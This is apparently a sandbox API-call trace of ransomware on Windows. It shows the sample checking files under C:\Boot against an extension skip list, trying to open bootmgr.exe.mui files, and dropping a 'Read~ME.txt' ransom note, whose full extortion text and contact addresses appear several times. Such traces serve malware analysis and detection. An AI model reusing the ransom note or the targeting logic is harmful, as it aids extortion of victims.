	[0062.258] StrStrW (lpFirst="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui", lpSrch=".cmd") returned 0x0
	[0062.258] lstrlenW (lpString=".dll") returned 4
	[0062.258] StrStrW (lpFirst="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui", lpSrch=".dll") returned 0x0
	[0062.258] lstrlenW (lpString=".bat") returned 4
	[0062.258] StrStrW (lpFirst="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui", lpSrch=".bat") returned 0x0
	[0062.258] lstrlenW (lpString=".cpl") returned 4
	[0062.259] StrStrW (lpFirst="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui", lpSrch=".cpl") returned 0x0
	[0062.259] lstrlenW (lpString=".sys") returned 4
	[0062.259] StrStrW (lpFirst="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui", lpSrch=".sys") returned 0x0
	[0062.259] lstrlenW (lpString=".msc") returned 4
	[0062.259] StrStrW (lpFirst="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui", lpSrch=".msc") returned 0x0
	[0062.259] lstrlenW (lpString=".com") returned 4
	[0062.259] StrStrW (lpFirst="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui", lpSrch=".com") returned 0x0
	[0062.259] lstrlenW (lpString=".lnk") returned 4
	[0062.260] StrStrW (lpFirst="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui", lpSrch=".lnk") returned 0x0
	[0062.260] lstrlenW (lpString=".msp") returned 4
	[0062.260] StrStrW (lpFirst="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui", lpSrch=".msp") returned 0x0
	[0062.260] lstrlenW (lpString=".pif") returned 4
	[0062.260] StrStrW (lpFirst="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui", lpSrch=".pif") returned 0x0
	[0062.260] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.260] StrStrW (lpFirst="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0062.260] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.260] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0062.260] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0062.260] RtlWakeConditionVariable () returned 0x365f70
	[0062.260] GetCurrentThreadId () returned 0x3a4
	[0062.260] GetCurrentThreadId () returned 0x3a4
	[0062.260] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.281] GetCurrentThreadId () returned 0x3a4
	[0062.281] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x363d38
	[0062.281] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0062.281] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0062.281] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x366550
	[0062.281] lstrlenW (lpString=".scr") returned 4
	[0062.281] StrStrW (lpFirst="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui", lpSrch=".scr") returned 0x0
	[0062.281] lstrlenW (lpString=".cmd") returned 4
	[0062.281] StrStrW (lpFirst="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui", lpSrch=".cmd") returned 0x0
	[0062.281] lstrlenW (lpString=".dll") returned 4
	[0062.281] StrStrW (lpFirst="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui", lpSrch=".dll") returned 0x0
	[0062.281] lstrlenW (lpString=".bat") returned 4
	[0062.281] StrStrW (lpFirst="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui", lpSrch=".bat") returned 0x0
	[0062.281] lstrlenW (lpString=".cpl") returned 4
	[0062.281] StrStrW (lpFirst="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui", lpSrch=".cpl") returned 0x0
	[0062.281] lstrlenW (lpString=".sys") returned 4
	[0062.281] StrStrW (lpFirst="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui", lpSrch=".sys") returned 0x0
	[0062.281] lstrlenW (lpString=".msc") returned 4
	[0062.281] StrStrW (lpFirst="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui", lpSrch=".msc") returned 0x0
	[0062.281] lstrlenW (lpString=".com") returned 4
	[0062.282] StrStrW (lpFirst="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui", lpSrch=".com") returned 0x0
	[0062.282] lstrlenW (lpString=".lnk") returned 4
	[0062.282] StrStrW (lpFirst="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui", lpSrch=".lnk") returned 0x0
	[0062.282] lstrlenW (lpString=".msp") returned 4
	[0062.282] StrStrW (lpFirst="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui", lpSrch=".msp") returned 0x0
	[0062.282] lstrlenW (lpString=".pif") returned 4
	[0062.282] StrStrW (lpFirst="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui", lpSrch=".pif") returned 0x0
	[0062.282] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.282] StrStrW (lpFirst="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0062.282] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.282] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0062.282] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0062.282] RtlWakeConditionVariable () returned 0x365f70
	[0062.282] GetCurrentThreadId () returned 0x3a4
	[0062.282] GetCurrentThreadId () returned 0x3a4
	[0062.282] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.296] GetCurrentThreadId () returned 0x3a4
	[0062.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x363d38
	[0062.296] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0062.296] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0062.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x366550
	[0062.296] lstrlenW (lpString=".scr") returned 4
	[0062.296] StrStrW (lpFirst="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui", lpSrch=".scr") returned 0x0
	[0062.297] lstrlenW (lpString=".cmd") returned 4
	[0062.297] StrStrW (lpFirst="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui", lpSrch=".cmd") returned 0x0
	[0062.297] lstrlenW (lpString=".dll") returned 4
	[0062.297] StrStrW (lpFirst="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui", lpSrch=".dll") returned 0x0
	[0062.297] lstrlenW (lpString=".bat") returned 4
	[0062.297] StrStrW (lpFirst="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui", lpSrch=".bat") returned 0x0
	[0062.297] lstrlenW (lpString=".cpl") returned 4
	[0062.297] StrStrW (lpFirst="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui", lpSrch=".cpl") returned 0x0
	[0062.297] lstrlenW (lpString=".sys") returned 4
	[0062.297] StrStrW (lpFirst="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui", lpSrch=".sys") returned 0x0
	[0062.297] lstrlenW (lpString=".msc") returned 4
	[0062.297] StrStrW (lpFirst="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui", lpSrch=".msc") returned 0x0
	[0062.297] lstrlenW (lpString=".com") returned 4
	[0062.297] StrStrW (lpFirst="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui", lpSrch=".com") returned 0x0
	[0062.297] lstrlenW (lpString=".lnk") returned 4
	[0062.297] StrStrW (lpFirst="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui", lpSrch=".lnk") returned 0x0
	[0062.297] lstrlenW (lpString=".msp") returned 4
	[0062.297] StrStrW (lpFirst="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui", lpSrch=".msp") returned 0x0
	[0062.297] lstrlenW (lpString=".pif") returned 4
	[0062.297] StrStrW (lpFirst="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui", lpSrch=".pif") returned 0x0
	[0062.297] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.297] StrStrW (lpFirst="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0062.297] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.298] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0062.298] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0062.298] RtlWakeConditionVariable () returned 0x365f70
	[0062.298] GetCurrentThreadId () returned 0x3a4
	[0062.298] GetCurrentThreadId () returned 0x3a4
	[0062.298] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.310] GetCurrentThreadId () returned 0x3a4
	[0062.310] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0062.310] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0062.310] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0062.310] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0062.310] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\Read~ME.txt" (normalized: "c:\\boot\\nb-no\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
	[0062.310] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0062.310] WriteFile (in: hFile=0x110, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0062.312] CloseHandle (hObject=0x110) returned 1
	[0062.312] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0062.312] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0062.312] RtlWakeConditionVariable () returned 0x365f70
	[0062.312] GetCurrentThreadId () returned 0x3a4
	[0062.312] GetCurrentThreadId () returned 0x3a4
	[0062.312] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.324] GetCurrentThreadId () returned 0x3a4
	[0062.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0062.324] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0062.324] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0062.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0062.325] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\Read~ME.txt" (normalized: "c:\\boot\\pl-pl\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
	[0062.325] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0062.325] WriteFile (in: hFile=0x110, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0062.326] CloseHandle (hObject=0x110) returned 1
	[0062.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0062.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0062.326] RtlWakeConditionVariable () returned 0x365f70
	[0062.327] GetCurrentThreadId () returned 0x3a4
	[0062.327] GetCurrentThreadId () returned 0x3a4
	[0062.327] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.338] GetCurrentThreadId () returned 0x3a4
	[0062.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0062.338] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0062.338] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c928 | out: hHeap=0x300000) returned 1
	[0062.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0062.338] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\Read~ME.txt" (normalized: "c:\\boot\\pt-pt\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
	[0062.338] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0062.338] WriteFile (in: hFile=0x110, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0062.340] CloseHandle (hObject=0x110) returned 1
	[0062.340] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0062.340] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0062.340] RtlWakeConditionVariable () returned 0x365f70
	[0062.340] GetCurrentThreadId () returned 0x3a4
	[0062.340] GetCurrentThreadId () returned 0x3a4
	[0062.340] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.353] GetCurrentThreadId () returned 0x3a4
	[0062.353] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x363d38
	[0062.353] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0062.353] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c928 | out: hHeap=0x300000) returned 1
	[0062.353] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x366550
	[0062.353] lstrlenW (lpString=".scr") returned 4
	[0062.353] StrStrW (lpFirst="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui", lpSrch=".scr") returned 0x0
	[0062.353] lstrlenW (lpString=".cmd") returned 4
	[0062.353] StrStrW (lpFirst="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui", lpSrch=".cmd") returned 0x0
	[0062.353] lstrlenW (lpString=".dll") returned 4
	[0062.353] StrStrW (lpFirst="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui", lpSrch=".dll") returned 0x0
	[0062.353] lstrlenW (lpString=".bat") returned 4
	[0062.353] StrStrW (lpFirst="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui", lpSrch=".bat") returned 0x0
	[0062.353] lstrlenW (lpString=".cpl") returned 4
	[0062.353] StrStrW (lpFirst="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui", lpSrch=".cpl") returned 0x0
	[0062.353] lstrlenW (lpString=".sys") returned 4
	[0062.353] StrStrW (lpFirst="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui", lpSrch=".sys") returned 0x0
	[0062.353] lstrlenW (lpString=".msc") returned 4
	[0062.353] StrStrW (lpFirst="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui", lpSrch=".msc") returned 0x0
	[0062.353] lstrlenW (lpString=".com") returned 4
	[0062.353] StrStrW (lpFirst="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui", lpSrch=".com") returned 0x0
	[0062.354] lstrlenW (lpString=".lnk") returned 4
	[0062.354] StrStrW (lpFirst="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui", lpSrch=".lnk") returned 0x0
	[0062.354] lstrlenW (lpString=".msp") returned 4
	[0062.354] StrStrW (lpFirst="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui", lpSrch=".msp") returned 0x0
	[0062.354] lstrlenW (lpString=".pif") returned 4
	[0062.354] StrStrW (lpFirst="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui", lpSrch=".pif") returned 0x0
	[0062.354] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.354] StrStrW (lpFirst="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0062.354] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.391] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0062.391] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0062.391] RtlWakeConditionVariable () returned 0x365f70
	[0062.391] GetCurrentThreadId () returned 0x3a4
	[0062.391] GetCurrentThreadId () returned 0x3a4
	[0062.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0062.391] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0062.391] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c928 | out: hHeap=0x300000) returned 1
	[0062.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0062.391] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\Read~ME.txt" (normalized: "c:\\boot\\sv-se\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
	[0062.391] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0062.391] WriteFile (in: hFile=0x110, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0062.393] CloseHandle (hObject=0x110) returned 1
	[0062.393] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0062.393] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0062.393] RtlWakeConditionVariable () returned 0x365f70
	[0062.393] GetCurrentThreadId () returned 0x3a4
	[0062.393] GetCurrentThreadId () returned 0x3a4
	[0062.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x39daf8
	[0062.393] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ebf8 | out: hHeap=0x300000) returned 1
	[0062.393] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0062.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x366550
	[0062.393] lstrlenW (lpString=".scr") returned 4
	[0062.393] StrStrW (lpFirst="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui", lpSrch=".scr") returned 0x0
	[0062.393] lstrlenW (lpString=".cmd") returned 4
	[0062.393] StrStrW (lpFirst="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui", lpSrch=".cmd") returned 0x0
	[0062.394] lstrlenW (lpString=".dll") returned 4
	[0062.394] StrStrW (lpFirst="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui", lpSrch=".dll") returned 0x0
	[0062.394] lstrlenW (lpString=".bat") returned 4
	[0062.394] StrStrW (lpFirst="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui", lpSrch=".bat") returned 0x0
	[0062.394] lstrlenW (lpString=".cpl") returned 4
	[0062.394] StrStrW (lpFirst="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui", lpSrch=".cpl") returned 0x0
	[0062.394] lstrlenW (lpString=".sys") returned 4
	[0062.394] StrStrW (lpFirst="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui", lpSrch=".sys") returned 0x0
	[0062.394] lstrlenW (lpString=".msc") returned 4
	[0062.394] StrStrW (lpFirst="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui", lpSrch=".msc") returned 0x0
	[0062.394] lstrlenW (lpString=".com") returned 4
	[0062.394] StrStrW (lpFirst="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui", lpSrch=".com") returned 0x0
	[0062.394] lstrlenW (lpString=".lnk") returned 4
	[0062.394] StrStrW (lpFirst="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui", lpSrch=".lnk") returned 0x0
	[0062.394] lstrlenW (lpString=".msp") returned 4
	[0062.394] StrStrW (lpFirst="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui", lpSrch=".msp") returned 0x0
	[0062.394] lstrlenW (lpString=".pif") returned 4
	[0062.394] StrStrW (lpFirst="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui", lpSrch=".pif") returned 0x0
	[0062.394] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.394] StrStrW (lpFirst="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0062.394] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.394] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0062.394] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39daf8 | out: hHeap=0x300000) returned 1
	[0062.394] RtlWakeConditionVariable () returned 0x365f70
	[0062.395] GetCurrentThreadId () returned 0x3a4
	[0062.395] GetCurrentThreadId () returned 0x3a4
	[0062.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0062.395] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0062.395] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c880 | out: hHeap=0x300000) returned 1
	[0062.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0062.395] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\Read~ME.txt" (normalized: "c:\\boot\\tr-tr\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
	[0062.395] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0062.395] WriteFile (in: hFile=0x110, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0062.396] CloseHandle (hObject=0x110) returned 1
	[0062.397] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0062.397] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0062.397] RtlWakeConditionVariable () returned 0x365f70
	[0062.397] GetCurrentThreadId () returned 0x3a4
	[0062.397] GetCurrentThreadId () returned 0x3a4
	[0062.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x39daf8
	[0062.397] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ec50 | out: hHeap=0x300000) returned 1
	[0062.397] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8b8 | out: hHeap=0x300000) returned 1
	[0062.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x366550
	[0062.397] lstrlenW (lpString=".scr") returned 4
	[0062.397] StrStrW (lpFirst="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui", lpSrch=".scr") returned 0x0
